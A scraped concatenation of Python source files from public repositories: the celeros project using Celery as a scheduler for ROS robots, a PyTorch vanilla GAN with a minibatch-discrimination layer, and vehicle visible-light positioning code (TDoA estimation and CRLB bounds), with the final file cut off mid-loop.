"""Task to move the turtle around - TODO """
verb = ['Starting up', 'Booting', 'Repairing', 'Loading', 'Checking']
adjective = ['master', 'radiant', 'silent', 'harmonic', 'fast']
noun = ['solar array', 'particle reshaper', 'cosmic ray', 'orbiter', 'bit']
message = ''
total = random.randint(10, 50)
for i in range(total):
if not message or random.random() < 0.25:
message = '{0} {1} {2}...'.format(random.choice(verb),
random.choice(adjective),
random.choice(noun))
self.update_state(state='PROGRESS',
meta={'current': i, 'total': total,
'status': message})
time.sleep(1)
return {'current': 100, 'total': 100, 'status': 'Task completed! from flask_task_planner package', 'result': 42}
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,960 | asmodehn/celeros | refs/heads/master | /celeros/scheduler.py | from __future__ import absolute_import
from celery.utils.log import get_logger
import pyros
logger = get_logger(__name__)
# The only way that works to import package content based on file structure
# instead of parent package content, which is not loaded when extending celery.
from .celerybeatredis import RedisScheduleEntry as celerybeatredis_ScheduleEntry
from .celerybeatredis import RedisScheduler as celerybeatredis_Scheduler
from .rosperiodictasks import PeriodicTask
# We use the normal RedisScheduleEntry. This is just here as an example of overloading the behavior for an Entry.
class RedisScheduleEntry(celerybeatredis_ScheduleEntry):
def __init__(self, name=None, task=None, enabled=True, fire_and_forget=False, last_run_at=None,
total_run_count=None, schedule=None, args=(), kwargs=None,
options=None, app=None, **extrakwargs):
"""
:param name: the name of the task ( = redis key )
:param task: the task itself (python function)
:param enabled: whether the task is enabled and should run
:param fire_and_forget: whether the task should be deleted after triggering once
:param last_run_at: last time the task was run
:param total_run_count: the number of time the task was run
:param schedule: the schedule for the task
:param args: the args for the task
:param kwargs: the kwargs for the task
:param options: the options for the task
:param app: the current app
:param extrakwargs: extra kwargs to support extra json fields if needed.
:return:
"""
super(RedisScheduleEntry, self).__init__(
name=name, task=task, enabled=enabled, fire_and_forget=fire_and_forget, last_run_at=last_run_at,
total_run_count=total_run_count, schedule=schedule, args=args, kwargs=kwargs,
options=options, app=app, **extrakwargs
)
def __repr__(self):
return (super(RedisScheduleEntry, self).__repr__() + ' fire_and_forget: {ff}'.format(
ff=self.fire_and_forget
))
def is_due(self):
due = super(RedisScheduleEntry, self).is_due()
return due
class RedisScheduler(celerybeatredis_Scheduler):
# Overloading the Entry class for our scheduler
Entry = RedisScheduleEntry
def __init__(self, *args, **kwargs):
logger.warn('{0!r} is starting from {1}'.format(self, __file__))
super(RedisScheduler, self).__init__(*args, **kwargs)
self._purge = set() # keeping entries to delete by name for sync later on
# Here an app is setup.
# And we can get the pyros client :
print("pyros_client : {}".format(self.app.ros_node_client))
def reserve(self, entry):
# called when the task is about to be run (and data will be modified -> sync() will need to save it)
# this will add the entry to a dirty list to write change into db during next sync
new_entry = super(RedisScheduler, self).reserve(entry)
# If this entry is fire_and_forget, we need to delete it later
if new_entry.fire_and_forget:
self._purge.add(new_entry.name)
self._dirty.remove(new_entry.name) # no need to save whatever was modified for this entry
return new_entry
# Overload this if you need to modify the way the task is run.
# check parent classes for reference implementation
def apply_async(self, entry, publisher=None, **kwargs):
return super(RedisScheduler, self).apply_async(entry, publisher, **kwargs)
def sync(self):
_tried_purge = set()
try:
if self._purge:
logger.info('cleaning up entries to be deleted :')
while self._purge:
name = self._purge.pop()
logger.info('- {0}'.format(name))
_tried_purge.add(name)
# delete entries that need to be purged
self.rdb.delete(name)
except Exception as exc:
# retry later
self._purge |= _tried_purge
logger.error('Error while sync: %r', exc, exc_info=1)
super(RedisScheduler, self).sync()
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,961 | asmodehn/celeros | refs/heads/master | /celeros/config_simulation.py | #
# sample celeros configuration.
# this file can be overloaded and passed as argument to change the celeros configuration
#
# TODO : move to a cleaner way to do configuration ( probably after mutating into up a pure python package )
from kombu import Queue
from .config import *
# We only override what is different from normal config.
CELERY_QUEUES = (
)
# (List of) tuples of battery levels and queues that can be consumed from,
# only if the battery has a percentage higher than the specified level
CELEROS_MIN_BATTERY_PCT_QUEUE = [
(10, Queue('simulated.celeros', routing_key='simulated.celeros'))
]
# This will automatically create the required queues. No need to specify CELERY_QUEUES here.
# Note : celery groups tasks by queues in order to send them to different workers.
# But the default case is that all worker should mostly able to do all tasks
# For robot the usual assumption is different : only one robot can do one task.
# => We should have some kind of "per robot" configuration that allows a robot to provide one task but not another...
# And this should probably be independent of how the broker handles the transmission of these tasks
# ie. what a robot can do, should not be related to queues, but to simple robot configuration
# => Maybe task imports ? but sender needs all, and all robots could potentially send...
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,962 | asmodehn/celeros | refs/heads/master | /setup.py | # This setup is usable by catkin, or on its own as usual python setup.py
_CATKIN = False
try:
from distutils.core import setup
from catkin_pkg.python_setup import generate_distutils_setup
_CATKIN = True
except Exception as e:
from setuptools import setup
# CAREFUL distutils and setuptools take different arguments and have different behaviors
if _CATKIN: # using distutils : https://docs.python.org/2/distutils
# fetch values from package.xml
setup_args = generate_distutils_setup(
packages=[
'celeros',
'celeros.bootsteps',
'celeros.celerybeatredis',
'celery', 'celery.app', 'celery.apps', 'celery.backends', 'celery.backends.database', 'celery.bin', 'celery.concurrency', 'celery.contrib', 'celery.events', 'celery.fixups', 'celery.loaders', 'celery.security', 'celery.task', 'celery.utils', 'celery.utils.dispatch', 'celery.worker',
'kombu', 'kombu.async', 'kombu.transport', 'kombu.transport.sqlalchemy', 'kombu.transport.virtual', 'kombu.utils',
'billiard', 'billiard.dummy', 'billiard.py2', 'billiard.py3',
'flower', 'flower.api', 'flower.utils', 'flower.utils.backports', 'flower.views',
'tornado_cors',
'redis',
],
package_dir={
'celeros': 'celeros',
'celery': 'deps/celery/celery',
'kombu': 'deps/kombu/kombu',
'billiard': 'deps/billiard/billiard',
'flower': 'deps/flower/flower',
'tornado_cors': 'deps/tornado-cors/tornado_cors',
'redis': 'deps/redis/redis',
},
py_modules=[
'flask_celery',
],
package_data={
'flower': ['templates/*', 'static/**/*', 'static/*.*']
},
)
setup(**setup_args)
else: # using setuptools : http://pythonhosted.org/setuptools/
setup(name='celeros',
version='0.1.0',
description='Celery as a scheduler for ROS systems',
url='http://github.com/asmodehn/celeros',
author='AlexV',
author_email='asmodehn@gmail.com',
license='BSD',
packages=[
'celeros',
'celeros.bootsteps',
'celeros.celerybeatredis',
'celery', 'celery.app', 'celery.apps', 'celery.backends', 'celery.backends.database', 'celery.bin',
'celery.concurrency', 'celery.contrib', 'celery.events', 'celery.fixups', 'celery.loaders', 'celery.security',
'celery.task', 'celery.utils', 'celery.utils.dispatch', 'celery.worker',
'kombu', 'kombu.async', 'kombu.transport', 'kombu.transport.sqlalchemy', 'kombu.transport.virtual',
'kombu.utils',
'billiard', 'billiard.dummy', 'billiard.py2', 'billiard.py3',
'flower', 'flower.api', 'flower.utils', 'flower.utils.backports', 'flower.views',
'tornado_cors',
'redis',
],
package_dir={
'celeros': 'celeros',
'celery': 'deps/celery/celery',
'kombu': 'deps/kombu/kombu',
'billiard': 'deps/billiard/billiard',
'flower': 'deps/flower/flower',
'tornado_cors': 'deps/tornado-cors/tornado_cors',
'redis': 'deps/redis/redis',
},
package_data={
'flower': ['templates/*', 'static/**/*', 'static/*.*']
},
# TODO : config files install via data_files. careful : https://bitbucket.org/pypa/setuptools/issues/130
# or maybe move to wheel ?
# this is better than using package data ( since behavior is a bit different from distutils... )
include_package_data=True, # use MANIFEST.in during install.
install_requires=[
'pyros>=0.2.0',
'click',
],
zip_safe=False, # TODO testing...
)
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,963 | asmodehn/celeros | refs/heads/master | /celeros/bootsteps/pyrosboot.py | #!/usr/bin/env python
import sys
import os
import logging
import multiprocessing
from functools import partial
import pyros
from celery import Celery, bootsteps
from celery.platforms import signals as _signals
from celery.utils.log import get_logger
_logger = get_logger(__name__)
# TODO : fix logging : http://docs.celeryproject.org/en/latest/userguide/extending.html#installing-bootsteps
# logging is not reentrant, and methods here are called in different ways...
# TODO : configuration for tests...
class PyrosBoot(bootsteps.StartStopStep):
"""
This is a worker bootstep. It starts the pyros node and a client.
That client can then be used in tasks and in other places in celery customization code
"""
requires = ('celery.worker.components:Pool', )
def __init__(self, worker, **kwargs):
logging.warn('{0!r} bootstep {1}'.format(worker, __file__))
# dynamic setup and import ( in different process now )
try:
import pyros
self.ros_argv = kwargs['ros_arg'] if 'ros_arg' in kwargs else []
self.node_proc = pyros.PyrosROS(
'celeros',
self.ros_argv
)
# Attribute error is triggered when using pyros < 0.1.0
except (ImportError, AttributeError) as e:
#logging.warn("{name} Error: Could not import pyros : {e}".format(name=__name__, e=e))
### TMP ###
logging.warn("{name} Attempting bwcompat import : {e}".format(name=__name__, e=e))
# BWcompat with old pyros :
try:
# this will import rosinterface and if needed simulate ROS setup
import sys
import pyros
import pyros.rosinterface
# this doesnt work with celery handling of imports
# sys.modules["pyros.rosinterface"] = pyros.rosinterface.delayed_import_auto(
# distro='indigo',
# base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..')
# )
pyros.rosinterface = pyros.rosinterface.delayed_import_auto(
distro='indigo',
base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..')
)
self.ros_argv = kwargs['ros_arg'] if 'ros_arg' in kwargs else []
self.node_proc = pyros.rosinterface.PyrosROS(
'celeros',
self.ros_argv,
base_path=os.path.join(os.path.dirname(__file__), '..', '..', '..')
)
except ImportError as e:
logging.warn("{name} Error: Could not import pyros.rosinterface : {e}".format(name=__name__, e=e))
raise
client_conn = self.node_proc.start()
# we do this in init so all pool processes have access to it.
worker.app.ros_node_client = pyros.PyrosClient(client_conn)
def create(self, worker):
return self
def start(self, worker):
# our step is started together with all other Worker/Consumer
# bootsteps.
pass
def stop(self, worker):
# The Worker will call stop at shutdown only.
logging.warn('{0!r} is stopping. Attempting termination of current tasks...'.format(worker))
# Following code from worker.control.revoke
terminated = set()
# cleaning all reserved tasks since we are shutting down
signum = _signals.signum('TERM')
for request in [r for r in worker.state.reserved_requests]:
if request.id not in terminated:
terminated.add(request.id)
_logger.info('Terminating %s (%s)', request.id, signum)
request.terminate(worker.pool, signal=signum)
# Aborting currently running tasks, and triggering soft timeout exception to allow task to clean up.
signum = _signals.signum('USR1')
for request in [r for r in worker.state.active_requests]:
if request.id not in terminated:
terminated.add(request.id)
_logger.info('Terminating %s (%s)', request.id, signum)
request.terminate(worker.pool, signal=signum) # triggering SoftTimeoutException in Task
if terminated:
terminatedstr = ', '.join(terminated)
_logger.info('Tasks flagged as revoked: %s', terminatedstr)
self.node_proc.shutdown()
| {"/celeros/app.py": ["/celeros/bootsteps/__init__.py", "/celeros/__init__.py"], "/celeros/rostasks.py": ["/celeros/app.py"], "/celeros/__init__.py": ["/celeros/rosperiodictasks.py", "/celeros/scheduler.py", "/celeros/app.py"], "/celeros/customlogger.py": ["/celeros/__init__.py"], "/celeros/bootsteps/__init__.py": ["/celeros/bootsteps/pyrosboot.py", "/celeros/bootsteps/batterywatcher.py"], "/celeros/__main__.py": ["/celeros/__init__.py"], "/examples/src/turtletasks.py": ["/celeros/__init__.py"], "/celeros/scheduler.py": ["/celeros/rosperiodictasks.py"], "/celeros/config_simulation.py": ["/celeros/config.py"]} |
53,973 | sanghviyashiitb/GANS-VanillaAndMinibatchDiscrimination | refs/heads/master | /test_minibatch_discrimination.py | import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
from minibatch_discrimination import MiniBatchDiscrimination
BATCH_SIZE = 100
INPUT_DIM = 784
# Instantiate a MiniBatch Discrimination Layer and check output size
mbd_test = MiniBatchDiscrimination(128, 64, 50, BATCH_SIZE)
in_test = torch.randn(BATCH_SIZE,128)
print(in_test.size())
out_test = mbd_test(in_test)
print(out_test.size())
class Discriminator(nn.Module):
def __init__(self):
super(Discriminator,self).__init__()
self.lin1 = nn.Linear(INPUT_DIM, 128)
self.mbd1 = MiniBatchDiscrimination(128, 64, 50, BATCH_SIZE)
self.lin2 = nn.Linear(192, 1)
def forward(self, x):
x = F.leaky_relu(self.lin1(x),0.1)
x = F.sigmoid(self.lin2( torch.cat((x, self.mbd1(x)),dim=1) ))
# x = self.mbd1(x)
return x
dis1 = Discriminator()
in1 = torch.randn(BATCH_SIZE,INPUT_DIM)
out1 = dis1(in1)
print(out1.size())
| {"/test_minibatch_discrimination.py": ["/minibatch_discrimination.py"]} |
53,974 | sanghviyashiitb/GANS-VanillaAndMinibatchDiscrimination | refs/heads/master | /vanilla_gan.py | from __future__ import print_function
import torch
import torchvision
import torchvision.transforms as transforms
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import numpy as np
import matplotlib.pyplot as plt
# Input dimensions for an MNIST image
MNIST_W = 28
MNIST_H = 28
MNIST_DIM = MNIST_H*MNIST_W
NOISE_DIM = 20
BATCH_SIZE = 10
LEARN_RATE = 1e-4
MAX_EPOCH = 1
# Defining a Generator and Discriminator network
class Generator(nn.Module):
def __init__(self):
super(Generator,self).__init__()
self.lin1 = nn.Linear(NOISE_DIM, 100)
self.lin2 = nn.Linear(100, 400)
self.lin3 = nn.Linear(400, MNIST_DIM)
def forward(self, x):
x = F.relu(self.lin1(x))
x = F.relu(self.lin2(x))
x = self.lin3(x)
return x
class Discriminator(nn.Module):
def __init__(self):
super(Discriminator,self).__init__()
self.lin1 = nn.Linear(MNIST_DIM, 100)
self.lin2 = nn.Linear(100, 20)
self.lin3 = nn.Linear(20, 1)
def forward(self, x):
x = F.relu(self.lin1(x))
x = F.relu(self.lin2(x))
x = F.sigmoid(self.lin3(x)) # Sigmoid at the last layer because we want to output a probability
return x
# Download MNIST data and set up DataLoader
transform = transforms.Compose([transforms.ToTensor(), transforms.Normalize((0.5, 0.5),(0.5, 0.5))])
trainset = torchvision.datasets.MNIST(root = './data_MNIST',train = True, download = True, transform=transform)
trainloader = torch.utils.data.DataLoader(trainset, batch_size = BATCH_SIZE, shuffle = True, num_workers = 0)
dataiter = iter(trainloader)
# Instantiate the generator and discriminator nets
gen1 = Generator()
dis1 = Discriminator()
gen_optimizer = optim.SGD(gen1.parameters(), lr = LEARN_RATE, momentum = 0.9)
dis_optimizer = optim.SGD(dis1.parameters(), lr = LEARN_RATE, momentum = 0.9)
criterion_dis = nn.BCELoss()
criterion_gen = nn.BCELoss()
# Start the training procedure
for epoch in range(MAX_EPOCH):
for i, data in enumerate(trainloader,0):
## Discriminator update step
true_examples, _ = data
dis_optimizer.zero_grad()
# Forward pass 'BATCH_SIZE' number of noise vectors through Generator
noise_outputs = gen1.forward(torch.randn(BATCH_SIZE,NOISE_DIM))
# Obtain 'BATCH_SIZE' number of true samples
true_examples = true_examples.view(-1,MNIST_DIM)
# Forward pass "false" and true samples through the discriminator
# and calculate the respective terms of discriminator loss
dis_true_loss = criterion_dis(dis1.forward(true_examples),torch.ones([BATCH_SIZE,1],dtype = torch.float32))
dis_false_loss = criterion_dis(dis1.forward(noise_outputs),torch.zeros([BATCH_SIZE,1],dtype = torch.float32))
# Calculate discriminator loss and backprop on discriminator params
dis_loss = dis_true_loss + dis_false_loss
dis_loss.backward()
dis_optimizer.step()
## Generator update step
gen_optimizer.zero_grad()
# Forward pass 'BATCH_SIZE' number of noise vectors through Generator, and the outputs through Discriminator
noise_outputs = gen1.forward(torch.randn(BATCH_SIZE,NOISE_DIM))
# Calculate generator loss and backprop on generator params
gen_loss = criterion_gen(dis1.forward(noise_outputs),torch.zeros([BATCH_SIZE,1],dtype =torch.float32))
gen_loss.backward()
gen_optimizer.step()
if i % 100 == 0:
print('iter: %3d dis_loss: %.3f gen_loss: %.3f ' % (i, dis_loss.item(), gen_loss.item()) )
print('One Epoch completed, saving current model')
# Should save the model at this checkpoint
LEARN_RATE = LEARN_RATE/10
gen_optimizer = optim.SGD(gen1.parameters(), lr = LEARN_RATE, momentum = 0.9)
dis_optimizer = optim.SGD(dis1.parameters(), lr = LEARN_RATE, momentum = 0.9)
# Show images generated by Generator after training
gen_images = gen1.forward(torch.randn(BATCH_SIZE,NOISE_DIM))
im = gen_images.data
img = im.view([-1,MNIST_H,MNIST_W])
print(img.size())
img = torchvision.utils.make_grid(img,nrow = 5)
print(img.size())
npimg = img.numpy()
print(np.shape(npimg))
plt.imshow(np.transpose(npimg,(1,2,0)))
plt.show()
| {"/test_minibatch_discrimination.py": ["/minibatch_discrimination.py"]} |
53,975 | sanghviyashiitb/GANS-VanillaAndMinibatchDiscrimination | refs/heads/master | /minibatch_discrimination.py | import torch
import torch.nn as nn
from torch.autograd import Variable
from torch.nn.parameter import Parameter
class MiniBatchDiscrimination(nn.Module):
def __init__(self, A, B, C, batch_size):
super(MiniBatchDiscrimination, self).__init__()
self.feat_num = A
self.out_size = B
self.row_size = C
self.N = batch_size
self.T = Parameter(torch.Tensor(A,B,C))
self.reset_parameters()
def forward(self, x):
# Output matrices after matrix multiplication
M = x.mm(self.T.view(self.feat_num,self.out_size*self.row_size)).view(-1,self.out_size,self.row_size)
out = Variable(torch.zeros(self.N,self.out_size))
for k in range(self.N): # Not happy about this 'for' loop, but this is the best we could do using PyTorch IMO
c = torch.exp(-torch.sum(torch.abs(M[k,:]-M),2)) # exp(-L1 Norm of Rows difference)
if k != 0 and k != self.N -1:
out[k,:] = torch.sum(c[0:k,:],0) + torch.sum(c[k:-1,:],0)
else:
if k == 0:
out[k,:] = torch.sum(c[1:,:],0)
else:
out[k,:] = torch.sum(c[0:self.N-1],0)
return out
def reset_parameters(self):
stddev = 1/self.feat_num
self.T.data.uniform_(stddev)
| {"/test_minibatch_discrimination.py": ["/minibatch_discrimination.py"]} |
53,976 | fsahbaz/elec491 | refs/heads/main | /VLP_methods/tdoa.py | import numpy as np
import math
"""
*: coordinate center of cari
|--------|
| car1 |
|-------*|
|
y | |---------|
| | car2 |
|-------------------|*--------|
d
"""
class TDoA:
def __init__(self, a_m=2, f_m1=40000000, f_m2=25000000, measure_dt=1e-8, vehicle_dt=1e-3, car_dist=1.6, c=3e8):
"""
:param a_m: initial power of the transmitted signal
:param f_m1: tone/frequency of the signal from trx_1
:param f_m2: tone/frequency of the signal from trx_2
:param measure_dt: time increment to measure the received signal
:param vehicle_dt: time between vehicle position measurements
:param car_dist: distance between two headlights/taillights of the car
:param c: speed of light
"""
self.a_m = a_m
self.dt = measure_dt
self.measure_period = vehicle_dt
self.w1 = 2 * math.pi * f_m1
self.w2 = 2 * math.pi * f_m2
self.car_dist = car_dist
self.t = np.arange(0, vehicle_dt - self.dt, self.dt)
self.c = c
def estimate(self, delays, H, noise_variance):
"""
Implements the method of Roberts et al. using received signal
:param delays: actual delay values of transmitted signals, 2*2 matrix, first index is for tx second is for rx
:param H: attenuation on the signal, 2*2 matrix, first index is for tx second is for rx
:param noise_variance: AWGN variance values for each signal, 2*2 matrix, first index is for tx second is for rx
:return: estimated positions of the transmitting vehicle
"""
#calculate measured delay using attenuation and noise on the signal
delay1_measured, delay2_measured = self.measure_delay(delays, H, noise_variance)
# calculate distance differences using d(dist) = delay * c
v = self.c
ddist1 = np.mean(delay1_measured) * v
ddist2 = np.mean(delay2_measured) * v
#following notations such as Y_A, D, A, and B are in line with the paper itself
Y_A = self.car_dist
D = self.car_dist
#calculate x,y position of the leading vehicle using eqs. in Robert's method
if abs(ddist1) > 1e-4 and abs(ddist2) > 1e-4:
A = Y_A ** 2 * (1 / (ddist1 ** 2) - 1 / (ddist2 ** 2))
B1 = (-(Y_A ** 3) + 2 * (Y_A ** 2) * D + Y_A * (ddist1 ** 2)) / (ddist1 ** 2)
B2 = (-(Y_A ** 3) + Y_A * (ddist2 ** 2)) / (ddist2 ** 2)
B = B1 - 2 * D - B2
C1 = ((Y_A ** 4) + 4 * (D ** 2) * (Y_A ** 2) + (ddist1 ** 4) - 4 * D * (Y_A ** 3) - 2 * (Y_A ** 2) * (
ddist1 ** 2) + 4 * D * Y_A * (ddist1 ** 2)) / (4 * (ddist1 ** 2))
C2 = ((Y_A ** 4) + (ddist2 ** 4) - 2 * (Y_A ** 2) * (ddist2 ** 2)) / (4 * (ddist2 ** 2))
C = C1 - D ** 2 - C2
if ddist1 * ddist2 > 0:
Y_B = (- B - math.sqrt(B ** 2 - 4 * A * C)) / (2 * A)
else:
Y_B = (- B + math.sqrt(B ** 2 - 4 * A * C)) / (2 * A)
if ((Y_A ** 2 - 2 * Y_A * Y_B - ddist2 ** 2) / (2 * ddist2)) ** 2 - (Y_B ** 2) < 0:
# since assumes parallel, fails to find close delays -> negative in srqt
return np.array([[float('NaN'), float('NaN')], [float('NaN'), float('NaN')]])
X_A = - math.sqrt(((Y_A ** 2 - 2 * Y_A * Y_B - ddist2 ** 2) / (2 * ddist2)) ** 2 - (Y_B ** 2))
elif abs(ddist1) <= 1e-4:
Y_B = Y_A / 2 - D
if ((2 * D * Y_A - ddist2 ** 2) / (2 - ddist2)) ** 2 - (D - Y_A / 2) ** 2 < 0:
# since assumes parallel, fails to find close delays -> negative in srqt
return np.array([[float('NaN'), float('NaN')], [float('NaN'), float('NaN')]])
X_A = - math.sqrt(((2 * D * Y_A - ddist2 ** 2) / (2 - ddist2)) ** 2 - (D - Y_A / 2) ** 2)
else:
Y_B = Y_A / 2
if ((2 * Y_A * D + ddist1 ** 2) / (2 * ddist1)) ** 2 - (D + Y_A / 2) ** 2 < 0:
# since assumes parallel, fails to find close delays -> negative in srqt
return np.array([[float('NaN'), float('NaN')], [float('NaN'), float('NaN')]])
X_A = - math.sqrt(((2 * Y_A * D + ddist1 ** 2) / (2 * ddist1)) ** 2 - (D + Y_A / 2) ** 2)
return np.array([[X_A, X_A], [(0-Y_B), (0-Y_B) + self.car_dist]])
def measure_delay(self, delays, H, noise_variance):
"""
creates the received signal using input parameters and calculates delay measured by rx
:param delays:
:param H:
:param noise_variance:
:return: a tuple where first element is the delay difference between the received signals sent by tx1,
second element is the delay difference between the received signals sent by tx1
"""
# after going through ADC at receiver
delta_delay1 = delays[0][0] - delays[0][1]
delta_delay2 = delays[1][0] - delays[1][1]
#create received signals
s1_w1 = H[0][0] * self.a_m * np.cos(self.w1 * (self.t - delta_delay1)) + np.random.normal(0, math.sqrt(noise_variance[0][0]), len(self.t))
s2_w1 = H[0][1] * self.a_m * np.cos(self.w1 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[0][1]), len(self.t))
s1_w2 = H[1][0] * self.a_m * np.cos(self.w2 * (self.t - delta_delay2)) + np.random.normal(0, math.sqrt(noise_variance[1][0]), len(self.t))
s2_w2 = H[1][1] * self.a_m * np.cos(self.w2 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[1][1]), len(self.t))
# take fourier transform
s1_w1_fft = np.fft.fft(s1_w1)
s2_w1_fft = np.fft.fft(s2_w1)
#remove left half for both singals
s1_w1_fft[0:len(s1_w1_fft) // 2] = 0
s2_w1_fft[0:len(s2_w1_fft) // 2] = 0
s1_w1_upperSideband = np.fft.ifft(s1_w1_fft)
s2_w1_upperSideband = np.fft.ifft(s2_w1_fft)
s1_w2_fft = np.fft.fft(s1_w2)
s2_w2_fft = np.fft.fft(s2_w2)
s1_w2_fft[0:len(s1_w2_fft) // 2] = 0
s2_w2_fft[0:len(s2_w2_fft) // 2] = 0
s1_w2_upperSideband = np.fft.ifft(s1_w2_fft)
s2_w2_upperSideband = np.fft.ifft(s2_w2_fft)
#multiply the signals to obtain delay difference
direct_mix1 = np.multiply(s1_w1_upperSideband, s2_w1_upperSideband.conj())
delay1_measured = np.angle(direct_mix1) / self.w1
direct_mix2 = np.multiply(s1_w2_upperSideband, s2_w2_upperSideband.conj())
delay2_measured = np.angle(direct_mix2) / self.w2
return delay1_measured, delay2_measured
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,977 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/half_crlb_bound_simulator.py | from half_crlb_init import HalfCRLBInit
from matfile_read import load_mat
import os
import pickle
import numpy as np
# Roberts' method, CRLB calculation for a single position estimation
def roberts_half_crlb_single_instance(crlb_inst, tx1, tx2, noise_factor):
fim = np.zeros(shape=(2,2))
for param1, param2 in zip(range(2), range(2)):
for i in range(2):
fim[param1][param2] -= 1 / noise_factor[i] * crlb_inst.d_ddist_d_param(param1 + 1, i, tx1, tx2) \
* crlb_inst.d_ddist_d_param(param2 + 1, i, tx1, tx2)
return np.linalg.inv(fim)
# Bechadergue's method, CRLB calculation for a single position estimation
def bechadergue_half_crlb_single_instance(crlb_inst, tx1, tx2, noise_factor):
fim = np.zeros(shape=(4, 4))
for param1, param2 in zip(range(4), range(4)):
for i in range(2):
for j in range(2):
ij = (i + 1) * 10 + (j + 1)
fim[param1][param2] -= 1 / noise_factor[i][j] * crlb_inst.d_dij_d_param(param1 + 1, ij, tx1, tx2) \
* crlb_inst.d_dij_d_param(param2 + 1, ij, tx1, tx2)
return np.linalg.inv(fim)
# Soner's method, CRLB calculation for a single position estimation
def soner_half_crlb_single_instance(crlb_inst, tx1, tx2, noise_factor):
fim = np.zeros(shape=(4, 4))
for param1, param2 in zip(range(4), range(4)):
for i in range(2):
for j in range(2):
ij = (i + 1) * 10 + (j + 1)
fim[param1][param2] -= 1 / noise_factor[i][j] * crlb_inst.d_theta_d_param(param1 + 1, ij, tx1, tx2) \
* crlb_inst.d_theta_d_param(param2 + 1, ij, tx1, tx2)
return np.linalg.inv(fim)
def main():
# load the data
data = load_mat('../SimulationData/v2lcRun_sm3_comparisonSoA.mat')
dp = 10
# vehicle parameters
L_1 = data['vehicle']['target']['width']
L_2 = data['vehicle']['ego']['width']
rx_area = data['qrx']['f_QRX']['params']['area']
# relative tgt vehicle positions
tx1_x = data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp]
tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp]
tx2_x = data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp]
tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp]
# read noise params (variance)
directory_path = os.path.dirname(
os.path.dirname(os.path.join(os.getcwd(), os.listdir(os.getcwd())[0]))) ## directory of directory of file
pickle_dir = directory_path + '/Bound_Estimation/Parameter_Deviation/'
with open(pickle_dir + 'deviation_tdoa_dist.pkl', 'rb') as f:
noise_dev_roberts = pickle.load(f)
with open(pickle_dir + 'deviation_theta.pkl', 'rb') as f:
noise_dev_soner = pickle.load(f)
with open(pickle_dir + 'deviation_rtof_dist.pkl', 'rb') as f:
noise_dev_bechadergue = pickle.load(f)
# other params
rx_fov = 50 # angle
tx_half_angle = 60 # angle
# initalize crlb equations with given parameters
half_crlb_init_object = HalfCRLBInit(L_1, L_2, rx_area, rx_fov, tx_half_angle)
# calculate bounds for all elements
robert_crlb_results = [np.array([]), np.array([])]
becha_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])]
soner_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])]
for i in range(len(tx1_x)):
# take position and noise params for ith data point
tx1 = np.array([tx1_x[i], tx1_y[i]])
tx2 = np.array([tx2_x[i], tx2_y[i]])
noise_factor_r = noise_dev_roberts[i]
